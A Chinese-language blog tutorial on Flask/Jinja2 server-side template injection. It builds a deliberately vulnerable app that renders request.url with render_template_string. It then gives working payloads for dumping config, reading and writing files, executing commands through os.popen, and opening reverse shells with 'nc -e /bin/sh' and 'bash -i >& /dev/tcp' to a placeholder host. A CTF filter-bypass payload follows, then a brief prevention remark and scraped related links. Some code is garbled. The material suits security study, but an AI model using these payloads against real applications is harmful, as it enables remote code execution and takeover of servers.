flask jinja2 mysql_flask/jinja2 SSTI注入学习
0x00 前言
服务端模板注入(SSTI)攻击,可以看看James Kettle写的这篇文章。
flask出现模板注入原因主要还是因为使用了render_template_string函数
0x01 环境搭建
test.py1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19from flask import Flask,render_template,config,render_template_string,request
from Config import Config
app = Flask(__name__)
app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.errorhandler(404)
def (e):
template = '''
Oops! That page doesn't exist.
%s
''' %(request.url)
return render_template_string(template)
if __name__=='__main__':`
app.run('0.0.0.0',9999,debug=True)
0x02 检测注入1
2http://localhost:8888/{{ 7*7 }}
#http://localhost:8888/%7B%7B7*7%7D%7D
导出config变量1http://localhost:8888/{{config.items()}}
导出类1http://localhost:8888/{{''.__class__.__mro__[2].__subclasses__()}}
0x03 漏洞利用python2 和python3 有不同,这里测试的是python2,python3的类每次位置会变
文件操作
能够执行代码,就能够完成很多事情,接下来,我们将写入一个webshell。之后的知识涉及沙箱逃逸和反弹shell
python2:1
2
3
4#写
{{ ''.__class__.__mro__[2].__subclasses__()[40]('D:flag', 'w').write('1234123') }}
#读
{{ ''.__class__.__mro__[2].__subclasses__()[40]('D:flag').read() }}
执行命令1
2
3
4
5
6
7
8''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__
下有eval,__import__等的全局函数,可以利用此来执行命令:
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
反弹shell1
2
3
4
5
6
7
8
9
10
11
12# 写入文件
payload 1 ::
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aCMD = system') }}
payload 2 ::
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from subprocess import check_output%0aRUNCMD=check_output') }}
# 利用 config.from_pyfile 加载文件
{{ config.from_pyfile('/tmp/shaobao') }}
# 反弹shell ; 提供两种方法;对应上的两个文件
payload1 ::
{{ config['CMD']('nc xxxxxx 5555 -e /bin/sh') }}
payload2 ::
{{ config['RUNCMD']('bash -i >& /dev/tcp/xxxx/5555 0>&1',shell=True) }}
如果过滤了’(‘,’)’,例如TokyoWesterns CTF 4th 2018 - Shrine1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return '
'.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)1
2
3
4
5def __repr__(self):
top = _app_ctx_stack.top
if top is not None:
return '' % top.app.name
return object.__repr__(self)
payload:
g.__repr__.__func__.__globals__._app_ctx_stack.top.app.name.config
该func属性将为我们提供由方法运行的函数(方法是一个函数加上它所属的类的引用,我认为
0x05 防范与总结不提倡使用 render_template_string()
一般开发者都会将模板内容写入固定文件夹templates规范模板渲染,按照Jinja2的官方文档
Referer
flask jinja2 mysql_flask/jinja2 SSTI注入学习相关推荐
- Flask服务端模板(Jinja2) SSTI 注入漏洞
漏洞简介 flask/ssti漏洞,即: Flask(Jinja2) 服务端模板注入漏洞(SSTI).Flask 是一个使用 Python 编写的轻量级 Web 应用框架,Flask 为你提供工具,库 ...
- Flask框架基础Jinja2模板
Flask框架基础Jinja2模板-- 潘登同学的flask学习笔记 文章目录 Flask框架基础Jinja2模板-- 潘登同学的flask学习笔记 return 模板 Template 模板的使用 ...
- Web框架——Flask系列之Jinja2模板引擎(二)
Jinja2模板引擎简介 一.Jinja2模板概述 用来展示数据的html页面,这个过程也通常称为渲染,属于Jinja2的功能 使用模板的好处: 视图函数只负责业务逻辑和数据处理(业务逻辑方面) 而模 ...
- Flask 中的Jinja2模板引擎
Flask 中的Jinja2模板引擎 在 Web 项目中,前端的显示效果是通过 HTML 语言来实现的,后端的视图函数将数据或模板文件返回给前端. 前端接收到后端返回的结果后,需要通过模板引擎来渲染页 ...
- Flask框架二 Jinja2
1.简介: 什么是Jinja2,Jinja2起什么作用 Jinja2是Python下一个被广泛应用的模版引擎,且它自带一个感觉挺nb的转义功能 作用1.它起了让前端和后端分离的作用 2.减少了Flas ...
- Flask框架及jinja2引擎模版
什么是Flask框架? Flask是一个使用 Python 编写的轻量级 Web 应用框架. 导入Flask类: from flask import Flask #实例化一个Flask对象, # __ ...
- SQL注入学习part07:(SQL注入语句总结)
写在前面: 此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) SQL注入学习part07 整数型和字符型 整数型 字符型 ...
- SQL注入学习part06:(结合sqli-libs学习:51-61关)
写在前面: 此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) SQL注入学习part06 第五十一关 第五十二关 第五十三 ...
- SQL注入学习part05:(结合sqli-libs学习:41-50关)
写在前面: 此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) SQL注入学习part05 第四十一关 第四十二关 第四十三 ...
最新文章
- Point-to Analysis指针分析(1)
- 北京站售票人员倒票视频
- html5中加亮文本,html实现高亮关键字
- 如果项目中如何添加或卸载某些组件
- kettle怎么复制资源库的job_#linux系统下调度数据库类型资源库中的kettle job
- 面向对象设计的六大原则简介
- 信贷中的SAS,一份关于它的系统性内容|含案例
- .html与.htm为网页后缀的区别
- 使用opencv中函数实现基于Harris算法的图像角点检测
- Flutter从零到∞学习笔记
- 计算机不能报名系统软件,电脑无法安装税控系统、国税申报软件,怎么回事
- 深圳市高级工商管理研究会成立大会成功召开
- 【实验五 一维数组】7-6 sdut- C语言实验-数日子
- mysql内存会持续上涨,每天增加一点,一直到100%
- 结合脚本跳过网盘限速,带宽拉满
- 改进的booth编码实例
- LED阵列PCB灯板绘制
- 身份证实名认证-身份实名认证-身份证核验
- Java实现简单画图工具
- ROP Emporium做题记录Challenge1-5(x86)